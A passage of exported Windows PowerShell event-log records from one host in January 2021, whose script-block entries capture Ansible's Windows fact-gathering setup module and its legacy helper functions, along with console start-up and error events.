CkKICAgICAgICB7CiAgICAgICAgICAgIHJldHVybiBOYXRpdmVNZXRob2RzLkdldEN1cnJlbnRQcm9jZXNzKCk7CiAgICAgICAgfQoKICAgICAgICBwdWJsaWMgc3RhdGljIHZvaWQgUmVtb3ZlUHJpdmlsZWdlKFNhZmVIYW5kbGUgdG9rZW4sIHN0cmluZyBwcml2aWxlZ2UpCiAgICAgICAgewogICAgICAgICAgICBTZXRUb2tlblByaXZpbGVnZXModG9rZW4sIG5ldyBEaWN0aW9uYXJ5PHN0cmluZywgYm9vbD8+KCkgeyB7IHByaXZpbGVnZSwgbnVsbCB9IH0pOwogICAgICAgIH0KCiAgICAgICAgcHVibGljIHN0YXRpYyBEaWN0aW9uYXJ5PHN0cmluZywgYm9vbD8+IFNldFRva2VuUHJpdmlsZWdlcyhTYWZlSGFuZGxlIHRva2VuLCBEa
ScriptBlock ID: ebc86afc-bb42-404f-8cb6-86758c5752a5
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 2088 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 3436 | 3032 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:18:48 AM | 61e00a24-ee3b-0001-450c-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
PowerShell console is ready for user input | 40962 | 1 | | 4 | 4 | 2 | 0 | 2087 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 3436 | 3440 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:18:48 AM | 61e00a24-ee3b-0003-640b-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Stop | PowerShell Console Startup | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Windows PowerShell has started an IPC listening thread on process: 3436 in AppDomain: DefaultAppDomain. | 53504 | 1 | | 4 | 111 | 10 | 0 | 2086 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 3436 | 4068 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:18:48 AM | 61e00a24-ee3b-0003-640b-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Open (async) | PowerShell Named Pipe IPC | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
PowerShell console is starting up | 40961 | 1 | | 4 | 4 | 1 | 0 | 2085 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 3436 | 3440 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:18:48 AM | 61e00a24-ee3b-0003-640b-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Start | PowerShell Console Startup | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
CommandInvocation(Add-Type): "Add-Type"
ParameterBinding(Add-Type): name="AssemblyName"; value="System.DirectoryServices.AccountManagement"
Context:
Severity = Informational
Host Name = Default Host
Host Version = 5.1.14393.1944
Host ID = dd909ad9-3442-484d-985f-c7457b9d6bf4
Host Application = PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -
Engine Version = 5.1.14393.1944
Runspace ID = d47d10df-1eb0-4b9d-aa0f-b21ce475c868
Pipeline ID = 5
Command Name = Add-Type
Command Type = Cmdlet
Script Name =
Command Path =
Sequence Number = 35
User = N-H1-758944-2\Admin
Connected User =
Shell ID = Microsoft.PowerShell
User Data:
| 4103 | 1 | | 4 | 106 | 20 | 0 | 2084 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4364 | 836 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:18:39 AM | 61e00a24-ee3b-0001-fc0b-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | To be used when operation is just executing a method | Executing Pipeline | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 1):
{ $_.$guid_key -eq $adapter.SettingID }
ScriptBlock ID: bbd29cb5-1899-4ffb-810f-035cb098d44a
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 2083 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4364 | 836 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:18:39 AM | 61e00a24-ee3b-0002-e80b-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Error Message = The running command stopped because the preference variable "ErrorActionPreference" or common parameter is set to Stop: The term 'facter' is not recognized as the name of a cmdlet, function, script file, or operable program. Check the spelling of the name, or if a path was included, verify that the path is correct and try again.
Fully Qualified Error ID = CommandNotFoundException,Microsoft.PowerShell.Commands.GetCommandCommand
Context:
Severity = Warning
Host Name = Default Host
Host Version = 5.1.14393.1944
Host ID = dd909ad9-3442-484d-985f-c7457b9d6bf4
Host Application = PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -
Engine Version = 5.1.14393.1944
Runspace ID = d47d10df-1eb0-4b9d-aa0f-b21ce475c868
Pipeline ID = 5
Command Name = Get-Command
Command Type = Cmdlet
Script Name =
Command Path =
Sequence Number = 33
User = N-H1-758944-2\Admin
Connected User =
Shell ID = Microsoft.PowerShell
User Data:
| 4100 | 1 | | 3 | 106 | 19 | 0 | 2082 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4364 | 836 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:18:38 AM | 61e00a24-ee3b-0002-e70b-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | To be used when an exception is raised | Executing Pipeline | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 1):
#!powershell
# Copyright: (c) 2018, Ansible Project
# GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt)
#Requires -Module Ansible.ModuleUtils.Legacy
Function Get-CustomFacts {
[cmdletBinding()]
param (
[Parameter(mandatory=$false)]
$factpath = $null
)
if (-not (Test-Path -Path $factpath)) {
Fail-Json $result "The path $factpath does not exist. Typo?"
}
$FactsFiles = Get-ChildItem -Path $factpath | Where-Object -FilterScript {($PSItem.PSIsContainer -eq $false) -and ($PSItem.Extension -eq '.ps1')}
foreach ($FactsFile in $FactsFiles) {
$out = & $($FactsFile.FullName)
$result.ansible_facts.Add("ansible_$(($FactsFile.Name).Split('.')[0])", $out)
}
}
Function Get-MachineSid {
# The Machine SID is stored in HKLM:\SECURITY\SAM\Domains\Account and is
# only accessible by the Local System account. This method get's the local
# admin account (ends with -500) and lops it off to get the machine sid.
$admins_sid = "S-1-5-32-544"
$admin_group = ([Security.Principal.SecurityIdentifier]$admins_sid).Translate([Security.Principal.NTAccount]).Value
Add-Type -AssemblyName System.DirectoryServices.AccountManagement
$principal_context = New-Object -TypeName System.DirectoryServices.AccountManagement.PrincipalContext([System.DirectoryServices.AccountManagement.ContextType]::Machine)
$group_principal = New-Object -TypeName System.DirectoryServices.AccountManagement.GroupPrincipal($principal_context, $admin_group)
$searcher = New-Object -TypeName System.DirectoryServices.AccountManagement.PrincipalSearcher($group_principal)
$groups = $searcher.FindOne()
$machine_sid = $null
foreach ($user in $groups.Members) {
$user_sid = $user.Sid
if ($user_sid.Value.EndsWith("-500")) {
$machine_sid = $user_sid.AccountDomainSid.Value
break
}
}
return $machine_sid
}
$cim_instances = @{}
Function Get-LazyCimInstance([string]$instance_name, [string]$namespace="Root\CIMV2") {
if(-not $cim_instances.ContainsKey($instance_name)) {
$cim_instances[$instance_name] = $(Get-CimInstance -Namespace $namespace -ClassName $instance_name)
}
return $cim_instances[$instance_name]
}
$result = @{
ansible_facts = @{ }
changed = $false
}
$grouped_subsets = @{
min=[System.Collections.Generic.List[string]]@('date_time','distribution','dns','env','local','platform','powershell_version','user')
network=[System.Collections.Generic.List[string]]@('all_ipv4_addresses','all_ipv6_addresses','interfaces','windows_domain', 'winrm')
hardware=[System.Collections.Generic.List[string]]@('bios','memory','processor','uptime')
external=[System.Collections.Generic.List[string]]@('facter')
}
# build "all" set from everything mentioned in the group- this means every value must be in at least one subset to be considered legal
$all_set = [System.Collections.Generic.HashSet[string]]@()
foreach($kv in $grouped_subsets.GetEnumerator()) {
[void] $all_set.UnionWith($kv.Value)
}
# dynamically create an "all" subset now that we know what should be in it
$grouped_subsets['all'] = [System.Collections.Generic.List[string]]$all_set
# start with all, build up gather and exclude subsets
$gather_subset = [System.Collections.Generic.HashSet[string]]$grouped_subsets.all
$explicit_subset = [System.Collections.Generic.HashSet[string]]@()
$exclude_subset = [System.Collections.Generic.HashSet[string]]@()
$params = Parse-Args $args -supports_check_mode $true
$factpath = Get-AnsibleParam -obj $params -name "fact_path" -type "path"
$gather_subset_source = Get-AnsibleParam -obj $params -name "gather_subset" -type "list" -default "all"
foreach($item in $gather_subset_source) {
if(([string]$item).StartsWith("!")) {
$item = ([string]$item).Substring(1)
if($item -eq "all") {
$all_minus_min = [System.Collections.Generic.HashSet[string]]@($all_set)
[void] $all_minus_min.ExceptWith($grouped_subsets.min)
[void] $exclude_subset.UnionWith($all_minus_min)
}
elseif($grouped_subsets.ContainsKey($item)) {
[void] $exclude_subset.UnionWith($grouped_subsets[$item])
}
elseif($all_set.Contains($item)) {
[void] $exclude_subset.Add($item)
}
# NB: invalid exclude values are ignored, since that's what posix setup does
}
else {
if($grouped_subsets.ContainsKey($item)) {
[void] $explicit_subset.UnionWith($grouped_subsets[$item])
}
elseif($all_set.Contains($item)) {
[void] $explicit_subset.Add($item)
}
else {
# NB: POSIX setup fails on invalid value; we warn, because we don't implement the same set as POSIX
# and we don't have platform-specific config for this...
Add-Warning $result "invalid value $item specified in gather_subset"
}
}
}
[void] $gather_subset.ExceptWith($exclude_subset)
[void] $gather_subset.UnionWith($explicit_subset)
$ansible_facts = @{
gather_subset=@($gather_subset_source)
module_setup=$true
}
$osversion = [Environment]::OSVersion
if($gather_subset.Contains('all_ipv4_addresses') -or $gather_subset.Contains('all_ipv6_addresses')) {
$netcfg = Get-LazyCimInstance Win32_NetworkAdapterConfiguration
# TODO: split v4/v6 properly, return in separate keys
$ips = @()
Foreach ($ip in $netcfg.IPAddress) {
If ($ip) {
$ips += $ip
}
}
$ansible_facts += @{
ansible_ip_addresses = $ips
}
}
if($gather_subset.Contains('bios')) {
$win32_bios = Get-LazyCimInstance Win32_Bios
$win32_cs = Get-LazyCimInstance Win32_ComputerSystem
$ansible_facts += @{
ansible_bios_date = $win32_bios.ReleaseDate.ToString("MM/dd/yyyy")
ansible_bios_version = $win32_bios.SMBIOSBIOSVersion
ansible_product_name = $win32_cs.Model.Trim()
ansible_product_serial = $win32_bios.SerialNumber
# ansible_product_version = ([string] $win32_cs.SystemFamily)
}
}
if($gather_subset.Contains('date_time')) {
$datetime = (Get-Date)
$datetime_utc = $datetime.ToUniversalTime()
$date = @{
date = $datetime.ToString("yyyy-MM-dd")
day = $datetime.ToString("dd")
epoch = (Get-Date -UFormat "%s")
hour = $datetime.ToString("HH")
iso8601 = $datetime_utc.ToString("yyyy-MM-ddTHH:mm:ssZ")
iso8601_basic = $datetime.ToString("yyyyMMddTHHmmssffffff")
iso8601_basic_short = $datetime.ToString("yyyyMMddTHHmmss")
iso8601_micro = $datetime_utc.ToString("yyyy-MM-ddTHH:mm:ss.ffffffZ")
minute = $datetime.ToString("mm")
month = $datetime.ToString("MM")
second = $datetime.ToString("ss")
time = $datetime.ToString("HH:mm:ss")
tz = ([System.TimeZoneInfo]::Local.Id)
tz_offset = $datetime.ToString("zzzz")
# Ensure that the weekday is in English
weekday = $datetime.ToString("dddd", [System.Globalization.CultureInfo]::InvariantCulture)
weekday_number = (Get-Date -UFormat "%w")
weeknumber = (Get-Date -UFormat "%W")
year = $datetime.ToString("yyyy")
}
$ansible_facts += @{
ansible_date_time = $date
}
}
if($gather_subset.Contains('distribution')) {
$win32_os = Get-LazyCimInstance Win32_OperatingSystem
$product_type = switch($win32_os.ProductType) {
1 { "workstation" }
2 { "domain_controller" }
3 { "server" }
default { "unknown" }
}
$ansible_facts += @{
ansible_distribution = $win32_os.Caption
ansible_distribution_version = $osversion.Version.ToString()
ansible_distribution_major_version = $osversion.Version.Major.ToString()
ansible_os_family = "Windows"
ansible_os_name = ($win32_os.Name.Split('|')[0]).Trim()
ansible_os_product_type = $product_type
}
}
if($gather_subset.Contains('env')) {
$env_vars = @{ }
foreach ($item in Get-ChildItem Env:) {
$name = $item | select -ExpandProperty Name
# Powershell ConvertTo-Json fails if string ends with \
$value = ($item | select -ExpandProperty Value).TrimEnd("\")
$env_vars.Add($name, $value)
}
$ansible_facts += @{
ansible_env = $env_vars
}
}
if($gather_subset.Contains('facter')) {
# See if Facter is on the System Path
Try {
$facter_exe = Get-Command facter -ErrorAction Stop
$facter_installed = $true
} Catch {
$facter_installed = $false
}
# Get JSON from Facter, and parse it out.
if ($facter_installed) {
&facter -j | Tee-Object -Variable facter_output | Out-Null
$facts = "$facter_output" | ConvertFrom-Json
ForEach($fact in $facts.PSObject.Properties) {
$fact_name = $fact.Name
$ansible_facts.Add("facter_$fact_name", $fact.Value)
}
}
}
if($gather_subset.Contains('interfaces')) {
$netcfg = Get-LazyCimInstance Win32_NetworkAdapterConfiguration
$ActiveNetcfg = @()
$ActiveNetcfg += $netcfg | where {$_.ipaddress -ne $null}
$namespaces = Get-LazyCimInstance __Namespace -namespace root
if ($namespaces | Where-Object { $_.Name -eq "StandardCimv" }) {
$net_adapters = Get-LazyCimInstance MSFT_NetAdapter -namespace Root\StandardCimv2
$guid_key = "InterfaceGUID"
$name_key = "Name"
} else {
$net_adapters = Get-LazyCimInstance Win32_NetworkAdapter
$guid_key = "GUID"
$name_key = "NetConnectionID"
}
$formattednetcfg = @()
foreach ($adapter in $ActiveNetcfg)
{
$thisadapter = @{
default_gateway = $null
connection_name = $null
dns_domain = $adapter.dnsdomain
interface_index = $adapter.InterfaceIndex
interface_name = $adapter.description
macaddress = $adapter.macaddress
}
if ($adapter.defaultIPGateway)
{
$thisadapter.default_gateway = $adapter.DefaultIPGateway[0].ToString()
}
$net_adapter = $net_adapters | Where-Object { $_.$guid_key -eq $adapter.SettingID }
if ($net_adapter) {
$thisadapter.connection_name = $net_adapter.$name_key
}
$formattednetcfg += $thisadapter
}
$ansible_facts += @{
ansible_interfaces = $formattednetcfg
}
}
if ($gather_subset.Contains("local") -and $factpath -ne $null) {
# Get any custom facts; results are updated in the
Get-CustomFacts -factpath $factpath
}
if($gather_subset.Contains('memory')) {
$win32_cs = Get-LazyCimInstance Win32_ComputerSystem
$win32_os = Get-LazyCimInstance Win32_OperatingSystem
$ansible_facts += @{
# Win32_PhysicalMemory is empty on some virtual platforms
ansible_memtotal_mb = ([math]::round($win32_cs.TotalPhysicalMemory / 1024 / 1024))
ansible_swaptotal_mb = ([math]::round($win32_os.TotalSwapSpaceSize / 1024 / 1024))
}
}
if($gather_subset.Contains('platform')) {
$win32_cs = Get-LazyCimInstance Win32_ComputerSystem
$win32_os = Get-LazyCimInstance Win32_OperatingSystem
$ip_props = [System.Net.NetworkInformation.IPGlobalProperties]::GetIPGlobalProperties()
$ansible_facts += @{
ansible_architecture = $win32_os.OSArchitecture
ansible_domain = $ip_props.DomainName
ansible_fqdn = ($ip_props.Hostname + "." + $ip_props.DomainName)
ansible_hostname = $env:COMPUTERNAME
ansible_kernel = $osversion.Version.ToString()
ansible_nodename = ($ip_props.HostName + "." + $ip_props.DomainName)
ansible_machine_id = Get-MachineSid
ansible_owner_contact = ([string] $win32_cs.PrimaryOwnerContact)
ansible_owner_name = ([string] $win32_cs.PrimaryOwnerName)
# FUTURE: should this live in its own subset?
ansible_reboot_pending = (Get-PendingRebootStatus)
ansible_system = $osversion.Platform.ToString()
ansible_system_description = ([string] $win32_os.Description)
ansible_system_vendor = $win32_cs.Manufacturer
}
}
if($gather_subset.Contains('powershell_version')) {
$ansible_facts += @{
ansible_powershell_version = ($PSVersionTable.PSVersion.Major)
}
}
if($gather_subset.Contains('processor')) {
$win32_cs = Get-LazyCimInstance Win32_ComputerSystem
$win32_cpu = Get-LazyCimInstance Win32_Processor
if ($win32_cpu -is [array]) {
# multi-socket, pick first
$win32_cpu = $win32_cpu[0]
}
$cpu_list = @( )
for ($i=1; $i -le ($win32_cpu.NumberOfLogicalProcessors / $win32_cs.NumberOfProcessors); $i++) {
$cpu_list += $win32_cpu.Manufacturer
$cpu_list += $win32_cpu.Name
}
$ansible_facts += @{
ansible_processor = $cpu_list
ansible_processor_cores = $win32_cpu.NumberOfCores
ansible_processor_count = $win32_cs.NumberOfProcessors
ansible_processor_threads_per_core = ($win32_cpu.NumberOfLogicalProcessors / $win32_cs.NumberOfProcessors / $win32_cpu.NumberOfCores)
ansible_processor_vcpus = ($win32_cpu.NumberOfLogicalProcessors / $win32_cs.NumberOfProcessors)
}
}
if($gather_subset.Contains('uptime')) {
$win32_os = Get-LazyCimInstance Win32_OperatingSystem
$ansible_facts += @{
ansible_lastboot = $win32_os.lastbootuptime.ToString("u")
ansible_uptime_seconds = $([System.Convert]::ToInt64($(Get-Date).Subtract($win32_os.lastbootuptime).TotalSeconds))
}
}
if($gather_subset.Contains('user')) {
$user = [Security.Principal.WindowsIdentity]::GetCurrent()
$ansible_facts += @{
ansible_user_dir = $env:userprofile
# Win32_UserAccount.FullName is probably the right thing here, but it can be expensive to get on large domains
ansible_user_gecos = ""
ansible_user_id = $env:username
ansible_user_sid = $user.User.Value
}
}
if($gather_subset.Contains('windows_domain')) {
$win32_cs = Get-LazyCimInstance Win32_ComputerSystem
$domain_roles = @{
0 = "Stand-alone workstation"
1 = "Member workstation"
2 = "Stand-alone server"
3 = "Member server"
4 = "Backup domain controller"
5 = "Primary domain controller"
}
$domain_role = $domain_roles.Get_Item([Int32]$win32_cs.DomainRole)
$ansible_facts += @{
ansible_windows_domain = $win32_cs.Domain
ansible_windows_domain_member = $win32_cs.PartOfDomain
ansible_windows_domain_role = $domain_role
}
}
if($gather_subset.Contains('winrm')) {
$winrm_https_listener_parent_paths = Get-ChildItem -Path WSMan:\localhost\Listener -Recurse | Where-Object {$_.PSChildName -eq "Transport" -and $_.Value -eq "HTTPS"} | select PSParentPath
if ($winrm_https_listener_parent_paths -isnot [array]) {
$winrm_https_listener_parent_paths = @($winrm_https_listener_parent_paths)
}
$winrm_https_listener_paths = @()
foreach ($winrm_https_listener_parent_path in $winrm_https_listener_parent_paths) {
$winrm_https_listener_paths += $winrm_https_listener_parent_path.PSParentPath.Substring($winrm_https_listener_parent_path.PSParentPath.LastIndexOf("\"))
}
$https_listeners = @()
foreach ($winrm_https_listener_path in $winrm_https_listener_paths) {
$https_listeners += Get-ChildItem -Path "WSMan:\localhost\Listener$winrm_https_listener_path"
}
$winrm_cert_thumbprints = @()
foreach ($https_listener in $https_listeners) {
$winrm_cert_thumbprints += $https_listener | where {$_.Name -EQ "CertificateThumbprint" } | select Value
}
$winrm_cert_expiry = @()
foreach ($winrm_cert_thumbprint in $winrm_cert_thumbprints) {
Try {
$winrm_cert_expiry += Get-ChildItem -Path Cert:\LocalMachine\My | where Thumbprint -EQ $winrm_cert_thumbprint.Value.ToString().ToUpper() | select NotAfter
} Catch {}
}
$winrm_cert_expirations = $winrm_cert_expiry | Sort-Object NotAfter
if ($winrm_cert_expirations) {
# this fact was renamed from ansible_winrm_certificate_expires due to collision with ansible_winrm_X connection var pattern
$ansible_facts.Add("ansible_win_rm_certificate_expires", $winrm_cert_expirations[0].NotAfter.ToString("yyyy-MM-dd HH:mm:ss"))
}
}
$result.ansible_facts += $ansible_facts
Exit-Json $result
ScriptBlock ID: 5d803328-ff10-434c-b40f-718e1edbed72
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 2081 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4364 | 836 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:18:34 AM | 61e00a24-ee3b-0001-620b-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 1):
# Copyright (c), Michael DeHaan <michael.dehaan@gmail.com>, 2014, and others
# Simplified BSD License (see licenses/simplified_bsd.txt or https://opensource.org/licenses/BSD-2-Clause)
Set-StrictMode -Version 2.0
$ErrorActionPreference = "Stop"
Function Set-Attr($obj, $name, $value)
{
<#
.SYNOPSIS
Helper function to set an "attribute" on a psobject instance in PowerShell.
This is a convenience to make adding Members to the object easier and
slightly more pythonic
.EXAMPLE
Set-Attr $result "changed" $true
#>
# If the provided $obj is undefined, define one to be nice
If (-not $obj.GetType)
{
$obj = @{ }
}
Try
{
$obj.$name = $value
}
Catch
{
$obj | Add-Member -Force -MemberType NoteProperty -Name $name -Value $value
}
}
Function Exit-Json($obj)
{
<#
.SYNOPSIS
Helper function to convert a PowerShell object to JSON and output it, exiting
the script
.EXAMPLE
Exit-Json $result
#>
# If the provided $obj is undefined, define one to be nice
If (-not $obj.GetType)
{
$obj = @{ }
}
if (-not $obj.ContainsKey('changed')) {
Set-Attr $obj "changed" $false
}
Write-Output $obj | ConvertTo-Json -Compress -Depth 99
Exit
}
Function Fail-Json($obj, $message = $null)
{
<#
.SYNOPSIS
Helper function to add the "msg" property and "failed" property, convert the
PowerShell Hashtable to JSON and output it, exiting the script
.EXAMPLE
Fail-Json $result "This is the failure message"
#>
if ($obj -is [hashtable] -or $obj -is [psobject]) {
# Nothing to do
} elseif ($obj -is [string] -and $null -eq $message) {
# If we weren't given 2 args, and the only arg was a string,
# create a new Hashtable and use the arg as the failure message
$message = $obj
$obj = @{ }
} else {
# If the first argument is undefined or a different type,
# make it a Hashtable
$obj = @{ }
}
# Still using Set-Attr for PSObject compatibility
Set-Attr $obj "msg" $message
Set-Attr $obj "failed" $true
if (-not $obj.ContainsKey('changed')) {
Set-Attr $obj "changed" $false
}
Write-Output $obj | ConvertTo-Json -Compress -Depth 99
Exit 1
}
Function Add-Warning($obj, $message)
{
<#
.SYNOPSIS
Helper function to add warnings, even if the warnings attribute was
not already set up. This is a convenience for the module developer
so they do not have to check for the attribute prior to adding.
#>
if (-not $obj.ContainsKey("warnings")) {
$obj.warnings = @()
} elseif ($obj.warnings -isnot [array]) {
throw "Add-Warning: warnings attribute is not an array"
}
$obj.warnings += $message
}
Function Add-DeprecationWarning($obj, $message, $version = $null)
{
<#
.SYNOPSIS
Helper function to add deprecations, even if the deprecations attribute was
not already set up. This is a convenience for the module developer
so they do not have to check for the attribute prior to adding.
#>
if (-not $obj.ContainsKey("deprecations")) {
$obj.deprecations = @()
} elseif ($obj.deprecations -isnot [array]) {
throw "Add-DeprecationWarning: deprecations attribute is not a list"
}
$obj.deprecations += @{
msg = $message
version = $version
}
}
Function Expand-Environment($value)
{
<#
.SYNOPSIS
Helper function to expand environment variables in values. By default
it turns any type to a string, but we ensure $null remains $null.
#>
if ($null -ne $value) {
[System.Environment]::ExpandEnvironmentVariables($value)
} else {
$value
}
}
Function Get-AnsibleParam($obj, $name, $default = $null, $resultobj = @{}, $failifempty = $false, $emptyattributefailmessage, $ValidateSet, $ValidateSetErrorMessage, $type = $null, $aliases = @())
{
<#
.SYNOPSIS
Helper function to get an "attribute" from a psobject instance in PowerShell.
This is a convenience to make getting Members from an object easier and
slightly more pythonic
.EXAMPLE
$attr = Get-AnsibleParam $response "code" -default "1"
.EXAMPLE
Get-AnsibleParam -obj $params -name "State" -default "Present" -ValidateSet "Present","Absent" -resultobj $resultobj -failifempty $true
Get-AnsibleParam also supports Parameter validation to save you from coding that manually
Note that if you use the failifempty option, you do need to specify resultobject as well.
#>
# Check if the provided Member $name or aliases exist in $obj and return it or the default.
try {
$found = $null
# First try to find preferred parameter $name
$aliases = @($name) + $aliases
# Iterate over aliases to find acceptable Member $name
foreach ($alias in $aliases) {
if ($obj.ContainsKey($alias)) {
$found = $alias
break
}
}
if ($null -eq $found) {
throw
}
$name = $found
if ($ValidateSet) {
if ($ValidateSet -contains ($obj.$name)) {
$value = $obj.$name
} else {
if ($null -eq $ValidateSetErrorMessage) {
#Auto-generated error should be sufficient in most use cases
$ValidateSetErrorMessage = "Get-AnsibleParam: Argument $name needs to be one of $($ValidateSet -join ",") but was $($obj.$name)."
}
Fail-Json -obj $resultobj -message $ValidateSetErrorMessage
}
} else {
$value = $obj.$name
}
} catch {
if ($failifempty -eq $false) {
$value = $default
} else {
if (-not $emptyattributefailmessage) {
$emptyattributefailmessage = "Get-AnsibleParam: Missing required argument: $name"
}
Fail-Json -obj $resultobj -message $emptyattributefailmessage
}
}
# If $value -eq $null, the parameter was unspecified by the user (deliberately or not)
# Please leave $null-values intact, modules need to know if a parameter was specified
# When $value is already an array, we cannot rely on the null check, as an empty list
# is seen as null in the check below
if ($null -ne $value -or $value -is [array]) {
if ($type -eq "path") {
# Expand environment variables on path-type
$value = Expand-Environment($value)
# Test if a valid path is provided
if (-not (Test-Path -IsValid $value)) {
$path_invalid = $true
# could still be a valid-shaped path with a nonexistent drive letter
if ($value -match "^\w:") {
# rewrite path with a valid drive letter and recheck the shape- this might still fail, eg, a nonexistent non-filesystem PS path
if (Test-Path -IsValid $(@(Get-PSDrive -PSProvider Filesystem)[0].Name + $value.Substring(1))) {
$path_invalid = $false
}
}
if ($path_invalid) {
Fail-Json -obj $resultobj -message "Get-AnsibleParam: Parameter '$name' has an invalid path '$value' specified."
}
}
} elseif ($type -eq "str") {
# Convert str types to real Powershell strings
$value = $value.ToString()
} elseif ($type -eq "bool") {
# Convert boolean types to real Powershell booleans
$value = $value | ConvertTo-Bool
} elseif ($type -eq "int") {
# Convert int types to real Powershell integers
$value = $value -as [int]
} elseif ($type -eq "float") {
# Convert float types to real Powershell floats
$value = $value -as [float]
} elseif ($type -eq "list") {
if ($value -is [array]) {
# Nothing to do
} elseif ($value -is [string]) {
# Convert string type to real Powershell array
$value = $value.Split(",").Trim()
} elseif ($value -is [int]) {
$value = @($value)
} else {
Fail-Json -obj $resultobj -message "Get-AnsibleParam: Parameter '$name' is not a YAML list."
}
# , is not a typo, forces it to return as a list when it is empty or only has 1 entry
return ,$value
}
}
return $value
}
#Alias Get-attr-->Get-AnsibleParam for backwards compat. Only add when needed to ease debugging of scripts
If (-not(Get-Alias -Name "Get-attr" -ErrorAction SilentlyContinue))
{
New-Alias -Name Get-attr -Value Get-AnsibleParam
}
Function ConvertTo-Bool
{
<#
.SYNOPSIS
Helper filter/pipeline function to convert a value to boolean following current
Ansible practices
.EXAMPLE
$is_true = "true" | ConvertTo-Bool
#>
param(
[parameter(valuefrompipeline=$true)]
$obj
)
$boolean_strings = "yes", "on", "1", "true", 1
$obj_string = [string]$obj
if (($obj -is [boolean] -and $obj) -or $boolean_strings -contains $obj_string.ToLower()) {
return $true
} else {
return $false
}
}
Function Parse-Args($arguments, $supports_check_mode = $false)
{
<#
.SYNOPSIS
Helper function to parse Ansible JSON arguments from a "file" passed as
the single argument to the module.
.EXAMPLE
$params = Parse-Args $args
#>
$params = New-Object psobject
If ($arguments.Length -gt 0)
{
$params = Get-Content $arguments[0] | ConvertFrom-Json
}
Else {
$params = $complex_args
}
$check_mode = Get-AnsibleParam -obj $params -name "_ansible_check_mode" -type "bool" -default $false
If ($check_mode -and -not $supports_check_mode)
{
Exit-Json @{
skipped = $true
changed = $false
msg = "remote module does not support check mode"
}
}
return $params
}
Function Get-FileChecksum($path, $algorithm = 'sha1')
{
<#
.SYNOPSIS
Helper function to calculate a hash of a file in a way which PowerShell 3
and above can handle
#>
If (Test-Path -Path $path -PathType Leaf)
{
switch ($algorithm)
{
'md5' { $sp = New-Object -TypeName System.Security.Cryptography.MD5CryptoServiceProvider }
